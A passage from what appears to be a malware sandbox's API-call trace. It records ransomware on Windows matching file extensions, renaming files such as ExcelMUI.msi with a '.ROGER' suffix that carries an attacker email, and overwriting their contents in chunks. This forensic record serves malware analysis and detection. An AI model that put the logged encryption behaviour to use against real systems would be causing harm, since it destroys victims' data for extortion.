lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.072] SetEndOfFile (hFile=0x334) returned 1 [0062.550] CloseHandle (hObject=0x334) returned 1 [0062.550] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.550] SetEndOfFile (hFile=0x3f8) Thread: id = 20 os_tid = 0xaac [0036.999] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x4db0050 [0036.999] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x4dc0058 [0037.000] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295648 [0037.000] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x32a2320 [0037.000] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295660 [0037.000] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x50b0020 [0037.000] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295678 [0037.000] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3295678, Size=0x20) returned 0x8069c8 [0037.000] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295678 [0037.000] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3295678, Size=0x20) returned 0x806a18 [0037.000] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0037.000] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0037.001] Wow64DisableWow64FsRedirection (in: OldValue=0x44bff58 | out: OldValue=0x44bff58*=0x0) returned 1 [0037.001] lstrlenW (lpString="kernel32.dll") returned 12 [0037.001] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8069c8 | out: hHeap=0x790000) returned 1 [0037.001] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0037.001] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806a18 | out: hHeap=0x790000) returned 1 [0037.001] Sleep (dwMilliseconds=0x64) [0037.212] lstrcmpiW (lpString1=".ttf", lpString2=".ROGER") returned 1 [0037.212] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0037.212] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0037.446] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=47452) returned 1 [0037.460] CloseHandle (hObject=0x374) returned 1 [0037.460] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0037.460] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.460] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.460] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0037.460] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0037.460] lstrlenW (lpString=".doc") returned 4 [0037.461] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0037.461] lstrlenW (lpString=".docx") returned 5 [0037.461] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0037.461] lstrlenW (lpString=".pdf") returned 4 [0037.461] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0037.461] lstrlenW (lpString=".xls") returned 4 [0037.461] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0037.461] lstrlenW (lpString=".xlsx") returned 5 [0037.461] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0037.461] lstrlenW (lpString=".ppt") returned 4 [0037.461] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0037.461] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0037.461] lstrlenW (lpString=".zip") returned 4 [0037.461] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0037.461] lstrlenW (lpString=".rar") returned 4 [0037.461] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0037.461] lstrlenW (lpString=".bz2") returned 4 [0037.461] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0037.461] lstrlenW (lpString=".7z") returned 3 [0037.461] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0037.461] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0037.461] lstrlenW (lpString=".dbf") returned 4 [0037.461] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0037.461] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0037.461] lstrlenW (lpString=".1cd") returned 4 [0037.461] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0037.461] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0037.461] lstrlenW (lpString=".jpg") returned 4 [0037.461] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0037.461] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0037.461] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0037.461] lstrlenW (lpString=".doc") returned 4 [0037.461] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0037.462] lstrlenW (lpString=".docx") returned 5 [0037.462] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0037.462] lstrlenW (lpString=".pdf") returned 4 [0037.462] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0037.462] lstrlenW (lpString=".xls") returned 4 [0037.462] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0037.462] lstrlenW (lpString=".xlsx") returned 5 [0037.462] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0037.462] lstrlenW (lpString=".ppt") returned 4 [0037.462] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0037.462] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0037.462] lstrlenW (lpString=".zip") returned 4 [0037.462] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0037.462] lstrlenW (lpString=".rar") returned 4 [0037.462] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0037.462] lstrlenW (lpString=".bz2") returned 4 [0037.462] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0037.462] lstrlenW (lpString=".7z") returned 3 [0037.462] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0037.462] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0037.462] lstrlenW (lpString=".dbf") returned 4 [0037.462] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0037.462] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0037.462] lstrlenW (lpString=".1cd") returned 4 [0037.462] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0037.462] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0037.462] lstrlenW (lpString=".jpg") returned 4 [0037.462] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0037.462] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0037.462] lstrlenW (lpString="ExcelMUI.msi") returned 12 [0037.462] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0037.463] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=2506240) returned 1 [0037.463] CloseHandle (hObject=0x374) returned 1 [0037.463] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi")) returned 0x2020 [0037.463] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.463] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0037.463] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0037.463] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0x0) returned 1 [0037.464] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0037.464] ReadFile (in: hFile=0x374, lpBuffer=0x50b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50b0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.468] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0037.470] ReadFile (in: hFile=0x374, lpBuffer=0x50f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50f0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.481] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0037.481] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0037.481] ReadFile (in: hFile=0x374, lpBuffer=0x5130058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x5130058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.498] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.498] WriteFile (in: hFile=0x374, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x44bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0038.359] SetEndOfFile (hFile=0x374) returned 1 [0038.359] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4ef80d0 [0038.390] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0038.390] WriteFile (in: hFile=0x374, lpBuffer=0x4ef80d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4ef80d0*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.392] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0038.392] WriteFile (in: hFile=0x374, lpBuffer=0x4ef80d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4ef80d0*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.397] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0038.397] WriteFile (in: hFile=0x374, lpBuffer=0x4ef80d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4ef80d0*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.400] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ef80d0 | out: hHeap=0x790000) returned 1 [0038.400] CloseHandle (hObject=0x374) returned 1 [0038.655] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0038.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0038.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0038.656] lstrlenW (lpString=".doc") returned 4 [0038.656] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0038.656] lstrlenW (lpString=".docx") returned 5 [0038.656] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0038.656] lstrlenW (lpString=".pdf") returned 4 [0038.656] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0038.656] lstrlenW (lpString=".xls") returned 4 [0038.656] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0038.656] lstrlenW (lpString=".xlsx") returned 5 [0038.656] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0038.656] lstrlenW (lpString=".ppt") returned 4 [0038.656] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0038.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0038.656] lstrlenW (lpString=".zip") returned 4 [0038.656] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0038.656] lstrlenW (lpString=".rar") returned 4 [0038.656] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0038.656] lstrlenW (lpString=".bz2") returned 4 [0038.656] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0038.656] lstrlenW (lpString=".7z") returned 3 [0038.656] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0038.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0038.656] lstrlenW (lpString=".dbf") returned 4 [0038.656] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0038.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0038.656] lstrlenW (lpString=".1cd") returned 4 [0038.656] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0038.656] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0038.656] lstrlenW (lpString=".jpg") returned 4 [0038.656] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0038.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0038.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0038.657] lstrlenW (lpString=".doc") returned 4 [0038.657] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0038.657] lstrlenW (lpString=".docx") returned 5 [0038.657] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0038.657] lstrlenW (lpString=".pdf") returned 4 [0038.657] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0038.657] lstrlenW (lpString=".xls") returned 4 [0038.657] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0038.657] lstrlenW (lpString=".xlsx") returned 5 [0038.657] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0038.657] lstrlenW (lpString=".ppt") returned 4 [0038.657] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0038.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0038.657] lstrlenW (lpString=".zip") returned 4 [0038.657] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0038.657] lstrlenW (lpString=".rar") returned 4 [0038.657] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0038.657] lstrlenW (lpString=".bz2") returned 4 [0038.657] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0038.657] lstrlenW (lpString=".7z") returned 3 [0038.657] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0038.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0038.657] lstrlenW (lpString=".dbf") returned 4 [0038.657] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0038.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0038.657] lstrlenW (lpString=".1cd") returned 4 [0038.657] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0038.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0038.657] lstrlenW (lpString=".jpg") returned 4 [0038.657] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0038.658] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0038.658] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0038.658] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0038.658] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=2513920) returned 1 [0038.658] CloseHandle (hObject=0x374) returned 1 [0038.658] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0038.658] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0038.658] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0038.659] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0038.659] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0x0) returned 1 [0038.659] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0038.659] ReadFile (in: hFile=0x374, lpBuffer=0x50b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50b0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.664] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0038.664] ReadFile (in: hFile=0x374, lpBuffer=0x50f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50f0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.673] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0038.673] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0038.673] ReadFile (in: hFile=0x374, lpBuffer=0x5130058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x5130058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.690] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.690] WriteFile (in: hFile=0x374, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x44bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfcb0*=0xc010c, lpOverlapped=0x0) returned 1 [0039.020] SetEndOfFile (hFile=0x374) returned 1 [0039.020] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4ea00b8 [0039.023] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0039.023] WriteFile (in: hFile=0x374, lpBuffer=0x4ea00b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4ea00b8*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.025] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0039.025] WriteFile (in: hFile=0x374, lpBuffer=0x4ea00b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4ea00b8*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.030] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0039.030] WriteFile (in: hFile=0x374, lpBuffer=0x4ea00b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4ea00b8*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.033] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ea00b8 | out: hHeap=0x790000) returned 1 [0039.033] CloseHandle (hObject=0x374) returned 1 [0039.703] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0039.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0039.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0039.703] lstrlenW (lpString=".doc") returned 4 [0039.703] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0039.704] lstrlenW (lpString=".docx") returned 5 [0039.704] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0039.704] lstrlenW (lpString=".pdf") returned 4 [0039.704] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0039.704] lstrlenW (lpString=".xls") returned 4 [0039.704] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0039.704] lstrlenW (lpString=".xlsx") returned 5 [0039.704] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0039.704] lstrlenW (lpString=".ppt") returned 4 [0039.704] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0039.704] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0039.704] lstrlenW (lpString=".zip") returned 4 [0039.704] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0039.704] lstrlenW (lpString=".rar") returned 4 [0039.704] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0039.704] lstrlenW (lpString=".bz2") returned 4 [0039.704] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0039.704] lstrlenW (lpString=".7z") returned 3 [0039.704] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0039.704] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0039.704] lstrlenW (lpString=".dbf") returned 4 [0039.704] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0039.704] lstrlenW (lpString="C:\\MSOCache\\All 